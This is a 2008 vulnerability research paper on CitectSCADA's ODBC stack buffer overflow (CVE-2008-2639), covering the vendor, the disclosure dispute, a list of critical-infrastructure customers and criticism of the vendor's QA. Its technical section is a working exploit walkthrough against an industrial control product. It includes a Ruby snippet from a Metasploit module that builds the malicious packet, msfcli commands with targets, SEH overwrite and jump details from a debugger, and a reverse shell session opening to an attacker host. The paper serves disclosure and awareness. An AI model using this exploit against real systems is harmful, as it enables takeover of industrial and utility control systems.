The Five Ws of Citect ODBC Vulnerability CVE-2008-2639 by Kevin Finisterre (kf_lists[at]digitalmunition[dot]com) September 6th 2008 Who? Citect: Citect has a long history as a global leader in the development and application of SCADA, HMI and MES solutions. The ability to develop powerful and reliable 'industrial strength' software, capable of withstanding the rigors of large-scale operations, has been one of the companies strengths. Established in 1973, Citect has grown to become a leading, global provider of industrial automation, real-time intelligence, and next generation manufacturing execution systems (MES). Citect products are complemented by professional services and customer support and training and sold in numerous industries including: Aerospace & Defense Automotive Building Automation Cement & Glass Chemical Electronics Food & Beverage Machinery & Manufacturing Metals Mining & Minerals Oil & Gas Pharmaceutical Power / Utilities & Generation Pulp & Paper Transportation Water & Wastewater Headquartered in Sydney Australia, Citect has over 20 offices and representation in Oceania, Southeast Asia, China, Japan, North and South America, Europe, Africa and the Middle East. Citect products are distributed in more than 80 countries worldwide, through a network of more than 500 partners. Core: Core Security Technologies is the leader in comprehensive security testing software solutions that IT executives rely on to expose vulnerabilities, measure operational risk, and assure security effectiveness. The companyâ CORE IMPACT product family offers a comprehensive approach to assessing the security of network systems, endpoint systems, email users and web applications against complex threats. All CORE IMPACT security testing solutions are backed by trusted vulnerability research and leading-edge threat expertise from the companyâ Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies is Based in Boston, MA and Buenos Aires, Argentina Kevin Finisterre from the Netragard sponsored DigitalMunition: Kevin is the former Head Of Research and Co-founder of SNOSoft, Inc. aka Secure Network Operations. Kevin's primary focus has been on the dissemination of information relating to the identification and exploitation of software vulnerabilities on various platforms. Apple, IBM, SAP, Oracle, Symantec, and HP are among many vendors that have had problems that were identified by Kevin. Kevin is currently very active in the SCADA security scene. He enjoys testing the limits and is constantly dedicated to thinking outside the box. His current brainchild is the project he calls DigitalMunition.com What? On January 30th 2008 an initial contact mail was sent by Core to Citect's support team in an effort to discuss and disclose a security vulnerability that affected the Citect product line. Approximately 5 months later on June 11th the security advisory CORE-2008-0125 is published. This advisory outlines an issue in the Citect ODBC service that was described as follows: "A vulnerability was found in CitectSCADA that could allow a remote un-authenticated attacker to force an abnormal termination of the vulnerable software (Denial of Service) or to execute arbitrary code on vulnerable systems to gain complete control of the software. To accomplish such goal the would-be attacker must be able to connect to the vulnerable service on a TCP high-port." Core provided the following additional data. "The CitectSCADA and CitectFacilities applications include ODBC server capabilities to provide remote SQL access to a relational database. The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application layer protocol used over TCP reads an initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that length with a 5-byte fixed header is then read from the same TCP socket. Once this second packet is read from the network into a buffer, the data it is then copied to an internal buffer of fixed size allocated in the stack." Citect made two statements publically about the bug first in the Core advisory: "CitectSCADA is not designed to be accessible on public networks and recommends that the SCADA and control networks be protected by firewall or similar on live sites. The system must be network hardened regardless of the corrupt packet software change to ensure a secure system given the likelihood that on the same network are open industry standard protocol devices perhaps communicating via ethernet. Please follow this link on Citect website under 'Industries and Solutions' for security, that provides some information for customers interested in securing their SCADA systems: http://www.citect.com/index.php?option=com_content&task=view&id=186&Itemid=322" The second public comment was on their own website: "Citect has moved to reassure its SCADA customers they are extremely unlikely to be at risk from potential security breaches found by Core Security Technologies in Windows-based control systems utilizing ODBC technology, so long as their systems are protected by industry-standard security guidelines. Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when they are connected to the internet for some time. However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the internet with no security in place â a situation unlikely in today's business environment. Citect's Global CEO, Christopher Crowe, says, 'The security of our customers control systems is of paramount importance to us. Though we have not had any reports of breaches, we are contacting our customers globally to confirm they have followed recommended network security measures. We have also developed a patch for those companies that might not be able to implement necessary network security measures promptly." The two sources of information available to the public are seemingly conflicting... Core on one hand has implied that this vulnerability is quite critical in nature. Citect on the other hand is almost downplaying the issue all together. Actual users of the product must be confused to say the least. "Should I take action? Should I be prompt about it? Is there even a reason to take action?". These questions MUST be running through the users of Citect, given the industries Citect serves I should rephrase and perhaps say I hope these thoughts are in the minds of the users. In reality I would be willing to wager a small fortune that most of the folks that received the Citect advisory were not inspired to take immediate action. In general no one should be more knowledgeable about a software product than the vendor, so if the vendor pulls an Alfred E. Newman and says "What, me worry?" you can rest assured the userbase will do the same. This paradoxical situation is exactly why you are reading this paper, I decided to clear the air and do a little research on my own. As a semi neutral 3rd party not relying upon any of the previously made statements I could deduce my own conclusions. Those conclusions are contained within... So what exactly is the big deal? Why is Citect software any different from any other software package with security issues? Primarily because of the industry they serve. Citect software helps run quite a bit of critical infrastructure, power plants, factories, automation lines, and other high profile industrial related processes. Where? On the Citect web page there are case studies for the following industries, Building & Facilities, Cement & Glass, Food & Beverage, Machinery & Manufacturing, Mining & Minerals, Oil & Gas, Pharmaceutical, Waste & Wastewater. Installations range from a simple standalone Carwash heating control to an elaborate gas pipe line system with 180 Display nodes monitoring 68,000 some odd 'tags' and 'points'. Below is a list of Citect case studies with a brief description to help familiarize you with the wide range of industries that make use of Citect software. These names were pulled from the Citect case studies documentation that is readily available from the Citect website: Nelson Mandela Municipality Large metropolitan municipality uses CitectSCADA to monitor and control sewage facilities Brunswick County, North Carolina A rapidly growing county ensures smooth growth using CitectSCADA City of Shreveport, Louisiana Louisiana city continues its tradition of leading-edge water treatment facilities by standardising on CitectSCADA EPAL - Lisbon Water Supply CitectSCADA's reliability significantly reduces EPAL's life-cycle costs AstraZeneca Batch solution facilitates compliance with FDA regulations at AstraZeneca's Plankstadt site. Chilean Natural Gas Pipeline Electrogas and Metrogas both choose CitectSCADA for reliable monitoring and control of their pipelines. Slovnaft Refinery CitectSCADA provides scalable, reliable solution to drastically reduce operationg costs at major Central European Refinery and Petrochemical company. Debswana Diamond Mines Citect's reliable, scalable software solutions lower life-cycle costs, increase throughput and deliver real-time information to Debswana Diamond Mines Hanson Aggregate Hanson digs CitectSCADA at its Wykeham Quarry Argyle Diamond Mine Argyle Diamond Mines produces around 32% of the world's diamond output from its fully automated, open cut Argyle mine in Western Australia's Kimberley region. Anglo Coal CitectSCADA delivers lower operations and maintenance costs, increased mobility of personnel and access to real-time information to Moranbah Downtime at Olympic Dam (WMC)- Ampla - Winner of Microsoft Partner Awards Fast ROI as Ampla Downtime enables 20% increase in capacity in rail haulage system. This project won the 2005 Microsoft Australia & NZ Partner Awards for 'Business Productivity Solution of the Year' and 'Overall Solution of the Year'. Impala Ampla has allowed Implats to analyze and optimize key areas for improvement leading to: increased throughput and overall equipment efficiency; consistent quality and reduced loss to waste streams. Information is streamlined from the plant floor to management providing a comprehensive performance management tool which has contributed towards realizing its increased production goals Olympic Dam Expansion The world's largest windows-based SCADA system. The Olympic Dam site, owned by WMC Limited (Western Mining Corporation), an Australian producer and exporter of processed minerals and metals, includes 440,000 variable tags with an average response time of 0.014 seconds. AB and Simatic PLCs interfaced to PMACS, PDL and SQL Servers. QAL QAL is the 3rd largest alumina refinery in the world. Using Ampla to support the Six Sigma operational improvement methodology, significant improvements have been made to the Raw Materials handling area - an operation with a throughput of more than 11 million metric tons per year! Amcor Beverage Cans Access to real-time information allows Amcor to optimize production Ahold Coffee Company Ahold Coffee Company implemented Ampla to improve overall equipment effectiveness (OEE) on all production lines, and as a result have seen significant results in OEE. With a goal to decrease the amount of and duration of line stoppages without making operational or equipment changes, ACC decided an MES system was the best solution. They also needed a solution that would easily integrate with its ERP system. Arnott's Biscuits Online batching system streamlines process operations at Australia's largest biscuit manufacturer - click on the image below for the full story. Adelaide Brighton Cement 50% reduction in plant stoppages and a decrease in cost per tonne of production Einstein III CitectFacilities combined with BACnet and EIB provide energy and maintenance cost savings, and optimize building automation efficiency at the Einstein III office building in Haidhausen, Munich. London Borough CitectFacilities has revolutionized the way a London council maintains its buildings, often alerting the council to faults before residents report the problem. Nuremberg Exhibition Center With CitectFacilities the Nuremberg Exhibition Center has integrated and optimized facilities systems from multiple vendors, protected existing facilities investments and reduced building automation costs. Roppongi Hills Mori Tower Japan's largest redevelopment project improves tenant service, reduces operation costs and optimizes energy utilization as a result of using CitectFacilities. This is the world's largest OPC project and includes over 300 OPC servers, 500,000 tags, and 750 graphics pages, with response times of less than 1second. In addition to the legit customer base sites like the "ali-almukhtar" blogspot location make Citect software readily available to a number of other individuals around the world. The illegitimate software base of Citect customers is something that perhaps can not be measured. I think the title of the "ali-almukhtar" blogspot site speaks volumes with regard to the seemingly blatant trafficking of industrial automation related software. "Free Electrical Engineering Ebooks And Softwares - Ramadan Kareem" trumpets out amongst various arabic Naskh style writings. When? This issue is happening NOW... the media has slowed down on its initial wave of both a mix of good reporting, paranoia, FUD, misquoting, misrepresentations and has all but forgotten about the issues it raised several months ago, but this is an active problem STILL. Citect related news has shifted to things like: "Citect receives the Asia Pacific HMI and SCADA Company of the Year" "Schneider-Citect named as HMI leaders" "Citect Africa 2008 user conference" "Four megatrends in SchneiderÕs automation strategy" "Schneider to supply worldÕs largest water recycling project" "Schneider Electric's Initi@tive 2008 - 'Make the most of your energy'" Lets not be so quick to forget these headlines however: "Citect Doesn't Get 'IT' When It Comes To Application Security" "Citect Reassures Its Customers on the Security of Their SCADA Networks" "Top Layer TopResponse Research Team Delivers Protection against Critical CitectSCADA Buffer Overflow Vulnerability" "Security Vulnerability Exposes Utilities to Internet Attack" "Core Security Technologies Discovers Critical Vulnerability in SCADA Software from Citect" "SCADA security bug exposes world's critical infrastructure" This issue is both micro and macrocosmic with regard to SCADA security issues in general. Although people are dealing with patching this issue right now as I type, in reality the vulnerability has existed and could have been silently exploited for over 6 years. I can confirm that Citect v5.41 was released in 2002, unfortunately I do not have any other dates tied to earlier Citect versions. This bug could have impacted the Citect product line from day one of ODBC implementation. I am unable to trace back to the exact implementation date due to a lack of information about older Citect versions. I have a strong suspicion that version v4 and perhaps even v3 Citect products were also vulnerable in their day. We could be talking about a bug that has lasted the span of a decade or more, but who really knows? So what is the real impact of the disclosure? Unfortunately we may never be able to calculate that value... we have no way of knowing for example if Russian or Chinese military have previously weaponized exploits for this particular issue. If they theoretically DID have them, how long have they had them? How about other hackers? Perhaps one of the fellows on in cracking community noticed the overflows when he was making a patch to allow Citect to run illegally? Who knows? We would certainly be foolish to think that simply because Core has disclosed this issue suddenly armies of hackers are empowered to exploit this particular vulnerability. The empowerment has been there from the initial day the bug was introduced into the codebase. Bugs are both found and exploited in silence by both malicious hackers and nation states, deny it all you choose, however the behavior will continue to occur. Regardless of these questions the Macrocosm is now. Regardless of the questions the Microcosm is also now. Realistically since more bugs will be found in SCADA related software packages the future years will really shape how these 'cosms pan out. Why? Poor programming choices are ultimately the cause of this particular issue and subsequently many other issues as well. Poor QA is what allows these sort of issues to slip into mainstream public products. Oddly enough I have some reservations about the development team from Citect primarily due to a white paper that I found from their QA department. I will share and comment on a few excerpts from this document: "Citect Group Quality Assurance Management System is based on ISO9001 and is thorough and comprehensive, assuring our customers of the highest standard in the preparation, support and maintenance of Citect software. The Citect Group Quality Assurance Management System consists of: ¥ Quality Management Plan ¥ Software Tools ¥ Standards ¥ Work Practices and Checklists Configuration Management" Up front this sounds like a pretty solid process. Of course there is more... "Automated testing is conducted by using Microsoft Visual Test, which automates repetitive tasks, monitors system resources and provides synchronisation of tests across networks." Ok I am impressed now, seriously. "Development is managed by work practices that determine phases and check points in the development process. These development phases are tracked in a master document under the control of the project manager." Hrmm... interesting, does security ever come into play as a phase or check point? "C/C++ Coding standards are used to ensure that all code is documented and is uniform in format, style and error handling. Code review work practices ensure that no code passes a checkpoint without review. The purpose of the code reviews is to remove errors and dangerous coding practices and also assist in educating developers in improving coding techniques." Ok this is where you lost me. How in the heck did we get to the point where we are today with the CitectSCADA product line containing various security issues IF this process is in place and actually occurring? Here in lies the problem, many vendors push a particular image similar to the Oracle "Unbreakable" campaign when in reality lifting up the skirt reveals a mess that no one wants to talk about. This exact posturing is why we are seeing disturbingly simple vulnerabilities in software today. Vendors are investing more time on Marketing and damage control than they are on actually securing their codebases. How? This paper is really about the One H rather than the Five Ws associated with the CitectSCADA vulnerability. In the end the only thing that matters is the raw technical detail. You can draw your own conclusions and inferences if you are properly informed. Below you will find a detailed report of my findings from a months worth of CitectSCADA research. As Core described it this bug is indeed "This bug is a textbook example of a classic stack-based buffer overflow". Rather than exploiting it "by overwriting the return address of the currently running thread" I chose to go about things in a fairly standard fashion. If you are familiar with general exploitation of products that run on Windows based operating systems overwriting the Structured Exception Handler should be in your general vocabulary. If you have made it this far and don't quite understand: .text:0051BC33 loc_51BC33: .text:0051BC33 lea ecx, [ebp+pDestBuffer] .text:0051BC39 push ecx ; stack based buffer .text:0051BC3A mov edx, [ebp+arg_0] .text:0051BC3D push edx ; class that contains packet .text:0051BC3E call sub_52125A ; memcpy it may be perhaps time to close up your email client and move on to blogging about what just happened. If you are still with me SEH exploitation is a fairly vanilla process and in this particular case things performed as expected. General exploitation of SEH is a bit beyond the scope of this paper however I will be further describing how it applies to this particular vulnerability. Core very accurately described the vulnerability in their advisory with the following text: "The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application layer protocol used over TCP reads an initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that length with a 5-byte fixed header is then read from the same TCP socket." Simply loading up a packet sniffer and making a TCP connection will give you the format of the packets that you need to send. We can easily sum up the required packets in a few lines of ruby, this is a snippet from the final metasploit module that was created for release. # Open your eyes people... listen carefully to the rhetoric. There is no spoon. wakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack("N") + mal len = [wakeup.length].pack("N") sock.put(len) sock.put(wakeup) print_status("Sent malicious ODBC packet...") Depending on the version of Citect the malicious string that triggers the issue is no more than 400 bytes of data. The crash itself can be triggered with fewer bytes but in order to make it a properly malicious trigger something valuable needs to be overwritten. In most cases for Citect the SEH which is highly critical can be reached in less than 400 bytes as I just mentioned. The current metasploit module has support for a number of versions on various platforms. I am going to walk through the SEH exploitation on a Windows 2003 server machine as an example to help you understand how things operate. $ msfcli exploit/windows/misc/citect_scada_odbc T Id Name -- ---- 0 CiExceptionMailer.dll on XP Sp2 or SP3 5.42 1 CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0 2 CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0 3 CiExceptionMailer.dll on XP Sp2 or SP3 6.10 4 CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0 5 CiExceptionMailer.dll on 2003 Server SP1 7.0-r0 6 CiExceptionMailer.dll on Win98 5.50-r0 7 CiExceptionMailer.dll on XP SP2 5.50-r0 8 CiExceptionMailer.dll on 2003 Server 5.50-r0 9 Test Crash I have selected a target and payload and began a test run of the final module against a Windows 2003 Server machine running CitectSCADA 7.0. $ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2 TARGET=5 E [*] Started reverse handler [*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0... [*] Space: 376 [*] Using Windows 2003 Target [*] Sent malicious ODBC packet... ... The view from inside a debugger gives loads of insight as to how exploitable this issue actually is. After sending the inital packet an exception is triggered due to a bad memory read: EAX 0613EA7A ECX 00000013 EDX 00000001 EBX 00000000 ESP 07CBFBF8 EBP 07CBFC00 ESI 0613EA2D EDI 07CC0000 EIP 7814507A MSVCR80.7814507A 7814507A F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> ECX=00000013 (decimal 19.) DS:[ESI]=[0613EA2D]=90909090 ES:[EDI]=[07CC0000]=??? In this case the initial exception is caused because we have overwritten some chunk of data that was used in some operation from Client.dll 07CBFBF8 061C1920 07CBFBFC 07CBFC38 07CBFC00 /07CBFC24 07CBFC04 |1010C14B RETURN to Client.1010C14B from 07CBFC08 |07CBFE64 07CBFC0C |0613E891 07CBFC10 |000001E9 07CBFC14 |E9010000 07CBFC18 |07CBFC2C 07CBFC1C |061C1920 07CBFC20 |7813ED0F RETURN to MSVCR80.fprintf 07CBFC24 ]07CBFC3C 07CBFC28 |1010C74A RETURN to Client.1010C74A from Client.1010C122 07CBFC2C |000001E9 07CBFC30 |07CBFE64 07CBFC34 |07CBFC38 07CBFC38 |000001E9 07CBFC3C \07CBFF8C 07CBFC40 10109E7D RETURN to Client.10109E7D from Client.1010C737 07CBFC44 061C1920 07CBFC48 07CBFE64 07CBFC4C 7813E447 MSVCR80.__p__iob 07CBFC50 7813ED0F RETURN to MSVCR80.fprintf If we take a peek at the SEH at this point we would see that it is overwritten with an attacker supplied value. SEH chain of thread 00000888 Address SE handler 07CBFFDC CiExcept.003D59D7 As is standard the attacker supplied address points to a "POP POP RET". The full view of the Stack at the time of the SEH overwrite shown below. We can clearly see attacker controlled data both before and after the SEH value. 07CBFFD0 90909090 07CBFFD4 90909090 07CBFFD8 90909090 07CBFFDC 909006EB Pointer to next SEH record 07CBFFE0 003D59D7 SE handler 07CBFFE4 FFFE7BE9 07CBFFE8 909090FF 07CBFFEC 90909090 07CBFFF0 90909090 07CBFFF4 90909090 07CBFFF8 90909090 07CBFFFC 90909090 The "POP POP RET" is again as expected. 003D59D7 5F POP EDI 003D59D8 5E POP ESI 003D59D9 C3 RETN Passing the exception on will activate our handler and we can then see the real magic behind this vulnerability. The "POP POP RET" will cause the program to "land" on the following bytes of assembly which again are standard as part of SEH based exploitation. These bytes in essence jump over the attacker supplied SEH value and into what is considered usable shellcode space. 089CFFDC EB 06 JMP SHORT 089CFFE4 089CFFDE 90 NOP 089CFFDF 90 NOP As we mentioned the usable shellcode space varies from version to version but in all cases it is very small. We must make use of the space before the SEH value if we ever hope to get reliable code execution. Technically we are already "executing code" at this point but not in the traditional sense of a remote system compromise. This is more low level simply assembly toying. Using a 5 byte near jump sufficiently places us at the beginning of our payload buffer. 089CFFE4 ^E9 7BFEFFFF JMP 089CFE64 089CFFE9 90 NOP 089CFFEA 90 NOP 089CFFEB 90 NOP 089CFFEC 90 NOP 089CFFED 90 NOP 089CFFEE 90 NOP 089CFFEF 90 NOP 089CFFF0 90 NOP 089CFFF1 90 NOP 089CFFF2 90 NOP 089CFFF3 90 NOP 089CFFF4 90 NOP 089CFFF5 90 NOP 089CFFF6 90 NOP 089CFFF7 90 NOP 089CFFF8 90 NOP 089CFFF9 90 NOP 089CFFFA 90 NOP 089CFFFB 90 NOP 089CFFFC 90 NOP 089CFFFD 90 NOP 089CFFFE 90 NOP 089CFFFF 90 NOP In this case I have pasted a few bytes from the beginning of the Metasploit encoded payload. 089CFE64 F5 CMC 089CFE65 B6 4F MOV DH,4F 089CFE67 24 B1 AND AL,0B1 089CFE69 4A DEC EDX 089CFE6A B8 B2403D49 MOV EAX,493D40B2 089CFE6F 32FC XOR BH,AH 089CFE71 93 XCHG EAX,EBX 089CFE72 25 969F2C14 AND EAX,142C9F96 089CFE77 7E 7F JLE SHORT 089CFEF8 089CFE79 22FD AND BH,CH 089CFE7B BF 9847463C MOV EDI,3C464798 If we let this monstrosity run unfettered and unchained from the debugger we see the following result. $ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2 TARGET=5 E [*] Started reverse handler [*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0... [*] Space: 376 [*] Using Windows 2003 Target [*] Sent malicious ODBC packet... [*] Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when they are connected to the internet for some time. [*] However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the internet with no security in place - [*] a situation unlikely in todayÕs business environment. [*] Sending stage (474 bytes) [*] Command shell session 1 opened (10.211.55.2:4444 -> 10.211.55.8:1030) Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\Citect\CitectSCADA 7\Bin> In essence an attacker is given access to a command prompt with the privileges of the currently running Citect process. This method and technique is similar across all versions of Windows, individual techniques had to be modified slightly to fit each target platform but successful exploitation occurred on Windows 2003 Server, Windows XP and Windows 98 SE. In theory anything that you can install Citect on can technically be exploited. I have attached a fully functional proof of concept code to this report in an effort to help folks truly understand the impact of this vulnerability. I personally can not afford Core Impact and I am sure many of the folks that use this software will never be exposed to Core Impact, as such I have decided to create a public metasploit module for this issue. The hopes are that current Citect users or people that are responsible for auditing Citect users will now have a usable tool to help aid in the education and subsequent mitigation of this vulnerability. More importantly I hope this can serve as an example for future communications about similar such vulnerabilities. In my personal expertise I feel as if the statement "Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the internet with no security in place" is completely absurd. If I were a Citect customer I would actually feel both insulted and confused by the statement. Previous penetration testing exercises have shown that A) products are very frequently used in ways that manufactures do not intend. B) That many networks maintain a Hard shell with a Soft chewy inside. Many companies hide behind the concept of a firewall as if it were the end all be all security solution. Currently attacking and exploiting client side vulnerabilities is at an all time high. The old school style of directly aiming and gunning for a server has gone by the wayside. Latching on to an end user or client machine can often be just as valuable in the over all scheme of distributed metastasis. You would be absolutely foolish to believe that the only method or vector of exploitation for this and or any other SCADA related vulnerability was "Teh Internets". Look at the diagrams in the Citect case studies... read the documentation from vendors that actually implement these products. Wake up... open your eyes. Don't be a sheep. If you outlaw SCADA exploits, only outlaws will have SCADA exploits. Spread information and inform both yourself and others. -Kevin Finisterre 2008